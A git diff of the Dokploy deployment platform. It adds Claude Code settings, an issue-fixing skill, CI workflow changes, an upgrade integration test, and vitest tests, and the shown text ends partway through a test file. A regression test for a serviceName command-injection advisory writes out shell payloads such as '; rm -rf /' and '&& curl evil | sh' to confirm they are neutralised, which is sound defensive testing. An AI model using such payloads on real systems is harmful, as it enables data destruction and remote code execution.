diff --git a/.claude/settings.json b/.claude/settings.json new file mode 100644 index 000000000..77f39858f --- /dev/null +++ b/.claude/settings.json @@ -0,0 +1,22 @@ +{ + "worktree": { + "baseRef": "fresh" + }, + "hooks": { + "PostToolUse": [ + { + "matcher": "EnterWorktree", + "hooks": [ + { + "type": "command", + "command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\"" + }, + { + "type": "command", + "command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\"" + } + ] + } + ] + } +} diff --git a/.claude/skills/fix-issue/SKILL.md b/.claude/skills/fix-issue/SKILL.md new file mode 100644 index 000000000..226083304 --- /dev/null +++ b/.claude/skills/fix-issue/SKILL.md @@ -0,0 +1,55 @@ +--- +name: fix-issue +description: Implement a GitHub issue with reproduction and verification +allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__* +--- + +The issue number is passed as $1. + +## Instance + +No instance is running yet — start your own, isolated to this worktree: + +1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already). +2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the + background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT` + until it answers (usually ~10-15s). +3. Use `http://localhost:$PORT` as the base URL for Playwright navigation. + +Note: `mcp__dokploy__*` (this repo's `.mcp.json`) resolves its URL from +`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port +discovered mid-session. If those tools are unavailable or point at the wrong +instance, fall back to `curl`/`gh api` for API-level checks, or ask the user +to relaunch with `DOKPLOY_BASE_URL` exported first. + +## Tools + +- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up + state (create a project, an app, an env var) and to verify backend behavior. + Search for the tool you need; they are not all loaded upfront. +- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything + a user would see or click. + +Pick by where the bug lives, not by convenience: + +- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright. + The API returning correct data proves nothing here. +- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP. + A green screenshot proves nothing here. +- Unclear → do both. + +Use the MCP to reach the state you need quickly, then verify in the UI. Do not +click through ten screens to create a project the API can create in one call. + +## Steps + +1. Run `gh issue view $1` and read the full issue, including comments. +2. Reproduce the bug with the appropriate tool. If you cannot reproduce it, + comment on the issue explaining what you tried and STOP. + Do not implement anything. +3. Implement the fix. Keep the change minimal and scoped to the issue. +4. Run `pnpm test`, then re-run the same reproduction from step 2. +5. Only if both pass: commit and run `gh pr create`. The PR description must + include the before/after reproduction steps and reference the issue. + +Never skip step 2. A fix you cannot reproduce and then verify is not a fix. \ No newline at end of file diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index e30b5d06a..08d6b8a5b 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -187,6 +187,16 @@ jobs: with: version: 10.22.0 + - uses: actions/setup-node@v4 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo @@ -195,8 +205,8 @@ jobs: jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json + cp ${{ github.workspace }}/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" diff --git a/.github/workflows/format.yml b/.github/workflows/format.yml index cfddad7b2..48589575f 100644 --- a/.github/workflows/format.yml +++ b/.github/workflows/format.yml @@ -11,7 +11,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@v5 - name: Setup biomeJs uses: biomejs/setup-biome@v2 @@ -19,4 +19,4 @@ jobs: - name: Run Biome formatter run: biome format --write - - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2 + - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4 diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml index 9632917d4..c85e118d6 100644 --- a/.github/workflows/hotfix-cherry-pick.yml +++ b/.github/workflows/hotfix-cherry-pick.yml @@ -34,3 +34,16 @@ jobs: fi git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]" git push origin main + + - name: Sync cherry-pick back into canary + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + git fetch origin canary main + git checkout -B canary origin/canary + if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then + git merge --abort + echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR." + exit 1 + fi + git push origin canary diff --git a/.github/workflows/pull-request.yml b/.github/workflows/pull-request.yml index 2ad24fc0c..227022a90 100644 --- a/.github/workflows/pull-request.yml +++ b/.github/workflows/pull-request.yml @@ -14,9 +14,9 @@ jobs: matrix: job: [build, test, typecheck] steps: - - uses: actions/checkout@v4 - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v4 + - uses: actions/checkout@v5 + - uses: pnpm/action-setup@v5 + - uses: actions/setup-node@v5 with: node-version: 24.4.0 cache: "pnpm" diff --git a/.github/workflows/upgrade-integration-test.yml b/.github/workflows/upgrade-integration-test.yml new file mode 100644 index 000000000..f73b7276e --- /dev/null +++ b/.github/workflows/upgrade-integration-test.yml @@ -0,0 +1,437 @@ +# Upgrade Integration Test +# +# Tests that Dokploy can upgrade from version A to version B while keeping +# user projects (Postgres, MongoDB, two web apps, one static site) alive. +# +# Generates upgrade pairs: each stable tag in [floor_version, target_version) +# is paired with target_version. If target_version is empty, the highest tag +# available on Docker Hub is used as the target. +# +# Only triggered manually to avoid burning Actions minutes. + +name: Upgrade Integration Test + +on: + workflow_dispatch: + inputs: + floor_version: + description: 'Oldest version tag to include in pairs (e.g. v0.29.4)' + required: false + default: 'v0.29.4' + target_version: + description: 'Target version to upgrade to (version B). Leave empty to use the highest available.' + required: false + default: '' + +env: + DOKPLOY_IMAGE: dokploy/dokploy + DOKPLOY_SERVICE: dokploy + DOKPLOY_PORT: 3000 + +# ────────────────────────────────────────────────────────────────────────────── +jobs: + + # ── 1. Build the matrix ───────────────────────────────────────────────────── + build-matrix: + name: Build upgrade pair matrix + runs-on: ubuntu-latest + outputs: + pairs: ${{ steps.pairs.outputs.pairs }} + + steps: + - name: Generate pairs + id: pairs + env: + FLOOR: ${{ inputs.floor_version }} + TARGET: ${{ inputs.target_version }} + run: | + set -euo pipefail + + # semver "a >= b" comparison helper (vX.Y.Z, strips leading v) + ge() { + [ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ] + } + + # Fetch all semver tags from Docker Hub (dokploy/dokploy) + ALL_TAGS=$(curl -fsSL \ + "https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \ + jq -r '.results[].name' | \ + grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \ + sort -V) + + echo "All tags found:" + echo "$ALL_TAGS" + + # Target version (version B): explicit input, else highest available. + if [ -n "$TARGET" ]; then + TO="$TARGET" + echo "Using user-supplied target version: $TO" + else + TO=$(echo "$ALL_TAGS" | tail -n1) + echo "No target supplied; using highest available: $TO" + fi + + # Floor semver components + FLOOR_CLEAN="${FLOOR#v}" + IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN" + + # Each tag in [FLOOR, TO) → TO + PAIRS='[]' + while read -r TAG; do + [ -z "$TAG" ] && continue + # skip tags above-or-equal to the target (incl. the target itself) + ge "$TAG" "$TO" && continue + TAG_CLEAN="${TAG#v}" + IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN" + if [ "$T_MAJ" -gt "$F_MAJ" ] || \ + { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \ + { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then + PAIRS=$(echo "$PAIRS" | jq -c \ + --arg f "$TAG" --arg t "$TO" \ + '. + [{"from":$f,"to":$t}]') + fi + done <<< "$ALL_TAGS" + + COUNT=$(echo "$PAIRS" | jq 'length') + echo "Total pairs: $COUNT" + echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"' + + echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT" + + + # ── 2. Run one upgrade test per pair ──────────────────────────────────────── + upgrade-test: + name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}" + needs: build-matrix + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }} + + steps: + + # ── Environment setup ────────────────────────────────────────────────── + - name: Free disk space + run: | + sudo rm -rf \ + /usr/share/dotnet /opt/ghc /usr/local/share/boost \ + "$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \ + /usr/local/share/chromium /opt/hostedtoolcache + docker system prune -af --volumes + df -h + + # ── Install Dokploy directly at VERSION A ────────────────────────────── + # install.sh: + # • requires root (run via sudo bash) + # • respects DOKPLOY_VERSION → installs that tag directly + # (so we don't need a separate "downgrade" step that would risk + # running B's migrations on A's expected schema) + # • respects ADVERTISE_ADDR → skip the external IP lookup + # • initializes Docker Swarm + dokploy-network itself + - name: Install Dokploy at VERSION A (${{ matrix.pair.from }}) + run: | + curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh + chmod +x /tmp/install.sh + sudo -E env \ + DOKPLOY_VERSION="${{ matrix.pair.from }}" \ + ADVERTISE_ADDR="127.0.0.1" \ + bash /tmp/install.sh + + - name: Wait for dokploy service to converge on ${{ matrix.pair.from }} + run: | + echo "Waiting for 'dokploy' Swarm service to reach 1/1..." + timeout 240 bash -c ' + until docker service ls --filter name=dokploy \ + --format "{{.Name}} {{.Replicas}}" \ + | grep "^dokploy " | grep -q " 1/1"; do + sleep 4 + done + ' + docker service ls + echo "✅ Service running on ${{ matrix.pair.from }}" + + - name: Wait for Dokploy API to accept requests + run: | + timeout 180 bash -c ' + until curl -sf -o /dev/null \ + "http://localhost:${{ env.DOKPLOY_PORT }}"; do + sleep 3 + done + ' + echo "✅ Dokploy API is up" + + # ── Bootstrap admin user ─────────────────────────────────────────────── + - name: Register first admin user + id: auth + run: | + COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt" + : > "$COOKIE_JAR" + chmod 600 "$COOKIE_JAR" + echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT" + + # better-auth: sign-up/email (allowed only before any owner exists) + set -x + curl -sS -i -X POST \ + "http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \ + -H "Content-Type: application/json" \ + -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ + -d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \ + | tee /tmp/signup.out + set +x + + # Verify we got a session cookie + if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then + echo "⚠️ No session cookie matched expected name; jar contents:" + cat "$COOKIE_JAR" + fi + + # ── Create test resources ────────────────────────────────────────────── + - name: Create project, databases and applications + id: create + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + run: | + set -euo pipefail + + # --- tRPC POST helper --- + trpc_mut() { + curl -sf -X POST "$BASE/api/trpc/$1" \ + -H "Content-Type: application/json" \ + -b "$COOKIE" -c "$COOKIE" \ + -d "{\"json\":$2}" + } + + # --- Project --- + PROJECT=$(trpc_mut project.create \ + '{"name":"ci-upgrade-test","description":"CI upgrade integration test"}') + echo "project.create → $PROJECT" + + # project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}} + PROJECT_ID=$(echo "$PROJECT" | jq -r \ + '.result.data.json.project.projectId // .result.data.json.projectId // empty') + ENV_ID=$(echo "$PROJECT" | jq -r \ + '.result.data.json.environment.environmentId // empty') + + if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then + echo "❌ Could not extract projectId from project.create response:" + echo "$PROJECT" | jq . + exit 1 + fi + if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then + echo "❌ Could not extract environmentId — this version may not support environments." + echo " project.create response: $PROJECT" + exit 1 + fi + + echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT" + echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT" + echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID" + + # --- PostgreSQL 15 --- + PG=$(trpc_mut postgres.create \ + "{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\ + \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\ + \"databasePassword\":\"CiPg1pass\",\ + \"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}") + echo "postgres.create → $PG" + PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId') + # deploy (not start) — deploy creates the Swarm service; start only + # scales an already-deployed service and 500s on a fresh resource. + trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null + echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT" + + # --- MongoDB 7.0 --- + MG=$(trpc_mut mongo.create \ + "{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\ + \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\ + \"databasePassword\":\"CiMg1pass\",\ + \"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}") + echo "mongo.create → $MG" + MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId') + trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null + echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT" + + # --- Docker-image application helper --- + make_app() { + local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3 + APP=$(trpc_mut application.create \ + "{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}") + APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId') + trpc_mut application.saveDockerProvider \ + "{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\ + \"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \ + > /dev/null + trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \ + > /dev/null + echo "$APP_ID" + } + + # Static site (nginx) + APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine") + echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT" + + # Node.js hello-world (echo server image — small, no args needed) + APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest") + echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT" + + # Go HTTP server (traefik/whoami is a tiny Go binary, port 80) + APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest") + echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT" + + echo "✅ All resources created" + + # ── Pre-upgrade health check ─────────────────────────────────────────── + - name: Wait for all services → 'done' (pre-upgrade) + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + PG_ID: ${{ steps.create.outputs.pg_id }} + MG_ID: ${{ steps.create.outputs.mg_id }} + APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }} + APP_NODE_ID: ${{ steps.create.outputs.app_node_id }} + APP_GO_ID: ${{ steps.create.outputs.app_go_id }} + run: | + wait_done() { + local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5 + echo "Waiting for $NAME to reach 'done'..." + timeout 360 bash -c " + until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \ + --data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \ + -b '$COOKIE' | \ + jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \ + = 'done' ]; do + sleep 5 + done + " + echo "✅ $NAME is done" + } + + wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus + wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus + wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus + wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus + wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus + + - name: Assert Docker Swarm services healthy (pre-upgrade) + run: | + echo "=== docker service ls ===" + docker service ls + + FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \ + grep -E '^ci-' | grep -v ' 1/1' || true) + if [ -n "$FAIL" ]; then + echo "❌ User services not healthy before upgrade:" + echo "$FAIL" + exit 1 + fi + echo "✅ All user services healthy before upgrade" + + # ── Upgrade ──────────────────────────────────────────────────────────── + - name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }}) + run: | + docker service update \ + --image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \ + --force \ + "${{ env.DOKPLOY_SERVICE }}" + + echo "Waiting for service to converge on ${{ matrix.pair.to }}..." + timeout 240 bash -c ' + until ! docker service inspect dokploy \ + --format "{{.UpdateStatus.State}}" 2>/dev/null \ + | grep -q "^updating$"; do + sleep 4 + done + until docker service ls --filter name=dokploy \ + --format "{{.Name}} {{.Replicas}}" \ + | grep "^dokploy " | grep -q " 1/1"; do + sleep 4 + done + ' + echo "✅ Service running on ${{ matrix.pair.to }}" + + - name: Wait for Dokploy API to respond post-upgrade + run: | + timeout 180 bash -c ' + until curl -sf -o /dev/null \ + "http://localhost:${{ env.DOKPLOY_PORT }}"; do + sleep 3 + done + ' + echo "✅ Dokploy API is up after upgrade" + + # ── Post-upgrade health check ────────────────────────────────────────── + - name: Verify all services still healthy (post-upgrade) + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + PG_ID: ${{ steps.create.outputs.pg_id }} + MG_ID: ${{ steps.create.outputs.mg_id }} + APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }} + APP_NODE_ID: ${{ steps.create.outputs.app_node_id }} + APP_GO_ID: ${{ steps.create.outputs.app_go_id }} + run: | + check_status() { + local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5 + STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \ + --data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \ + -b "$COOKIE" | \ + jq -r ".result.data.json.$STATUS_KEY // \"unknown\"") + if [ "$STATUS" != "done" ]; then + echo "❌ $NAME status after upgrade: $STATUS" + return 1 + fi + echo "✅ $NAME: $STATUS" + } + + check_status postgres postgres.one postgresId "$PG_ID" applicationStatus + check_status mongo mongo.one mongoId "$MG_ID" applicationStatus + check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus + check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus + check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus + + echo "=== docker service ls (post-upgrade) ===" + docker service ls + + FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \ + grep -E '^ci-' | grep -v ' 1/1' || true) + if [ -n "$FAIL" ]; then + echo "❌ User services not healthy after upgrade:" + echo "$FAIL" + exit 1 + fi + echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}" + + # ── Diagnostics on failure ───────────────────────────────────────────── + - name: Dump state on failure + if: failure() + run: | + echo "=== docker service ls ===" && docker service ls || true + echo "=== dokploy service tasks ===" && \ + docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true + echo "=== dokploy logs (last 200) ===" && \ + docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true + echo "=== install.sh tail ===" && \ + tail -100 /tmp/install.sh 2>&1 || true + echo "=== signup response ===" && \ + cat /tmp/signup.out 2>&1 || true + echo "=== disk usage ===" && df -h + + # ── Job summary ──────────────────────────────────────────────────────── + - name: Write job summary + if: always() + run: | + STATUS="${{ job.status }}" + ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌" + cat >> "$GITHUB_STEP_SUMMARY" < { + it("accepts a valid session id", () => { + const result = revokeSessionSchema.safeParse({ sessionId: "abc123" }); + expect(result.success).toBe(true); + }); + + it("rejects missing sessionId", () => { + const result = revokeSessionSchema.safeParse({}); + expect(result.success).toBe(false); + }); + + it("rejects non-string sessionId", () => { + const result = revokeSessionSchema.safeParse({ sessionId: 123 }); + expect(result.success).toBe(false); + }); +}); diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/apps/dokploy/__test__/backups/volume-backup-restart.test.ts b/apps/dokploy/__test__/backups/volume-backup-restart.test.ts new file mode 100644 index 000000000..ba2fc081e --- /dev/null +++ b/apps/dokploy/__test__/backups/volume-backup-restart.test.ts @@ -0,0 +1,82 @@ +import { spawnSync } from "node:child_process"; +import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup"; +import { describe, expect, it } from "vitest"; + +const runCommand = (command: string) => + spawnSync("bash", ["-c", command], { + encoding: "utf8", + }); + +const outputLines = (stdout: string) => + stdout + .trim() + .split("\n") + .filter((line) => line.length > 0); + +describe("createRestartSafeBackupCommand", () => { + it("restarts the service and preserves the backup error status", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"; exit 23', + startCommand: 'echo "start"', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(23); + expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]); + }); + + it("preserves the backup error status when the restart also fails", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"; exit 23', + startCommand: 'echo "start"; exit 17', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(23); + expect(outputLines(result.stdout)).toEqual([ + "stop", + "backup", + "start", + "Service restart also failed with exit code 17", + ]); + }); + + it("returns the restart error status when the backup succeeds", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"', + startCommand: 'echo "start"; exit 17', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(17); + expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]); + }); + + it("uploads only after a successful backup and service restart", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"', + startCommand: 'echo "start"', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(0); + expect(outputLines(result.stdout)).toEqual([ + "stop", + "backup", + "start", + "upload", + ]); + }); +}); diff --git a/apps/dokploy/__test__/compose/compose-project-directory.test.ts b/apps/dokploy/__test__/compose/compose-project-directory.test.ts new file mode 100644 index 000000000..a117de5b2 --- /dev/null +++ b/apps/dokploy/__test__/compose/compose-project-directory.test.ts @@ -0,0 +1,58 @@ +import { createCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it } from "vitest"; + +const base = { + composeType: "docker-compose" as const, + appName: "compose-app", + sourceType: "github" as const, + command: "", +}; + +describe("compose createCommand --project-directory", () => { + it("pins --project-directory to the code dir when composePath is nested", () => { + const cmd = createCommand( + { ...base, composePath: "./deploy/docker-compose.yml" } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain( + "--project-directory /etc/dokploy/compose/compose-app/code", + ); + expect(cmd).toContain("-f ./deploy/docker-compose.yml"); + }); + + it("omits --project-directory when no projectPath is passed", () => { + const cmd = createCommand({ + ...base, + composePath: "./deploy/docker-compose.yml", + } as any); + + expect(cmd).not.toContain("--project-directory"); + }); + + it("does not add --project-directory to stack deploy (unsupported flag)", () => { + const cmd = createCommand( + { + ...base, + composeType: "stack", + composePath: "./deploy/docker-compose.yml", + } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).not.toContain("--project-directory"); + expect(cmd.startsWith("stack deploy")).toBe(true); + }); + + it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => { + const cmd = createCommand( + { ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain( + "--project-directory /etc/dokploy/compose/compose-app/code", + ); + expect(cmd).toContain("-f docker-compose.yml"); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..7d4da8d7a --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,69 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + enabled: true, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has occurred an error"); + // The payload text may appear inside the single-quoted echo argument, but + // it must never parse as a shell operator ($(), backtick, ; …). + expect(leaksShellSyntax(result, "touch")).toBe(false); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts new file mode 100644 index 000000000..580a33d96 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts @@ -0,0 +1,306 @@ +import type { Compose } from "@dokploy/server/services/compose"; +import type { Domain } from "@dokploy/server/services/domain"; +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// With sourceType "raw", addDomainToCompose parses compose.composeFile +// directly instead of reading from disk, so baseCompose exposes it as a +// getter that always reflects the current composeYaml for each test case. +const baseComposeYaml = ` +services: + frigate: + image: frigate +`; +let composeYaml = baseComposeYaml; + +const baseCompose = { + appName: "test-app", + composeType: "docker-compose", + composePath: "docker-compose.yml", + sourceType: "raw", + serverId: null, + isolatedDeployment: false, + randomize: false, + 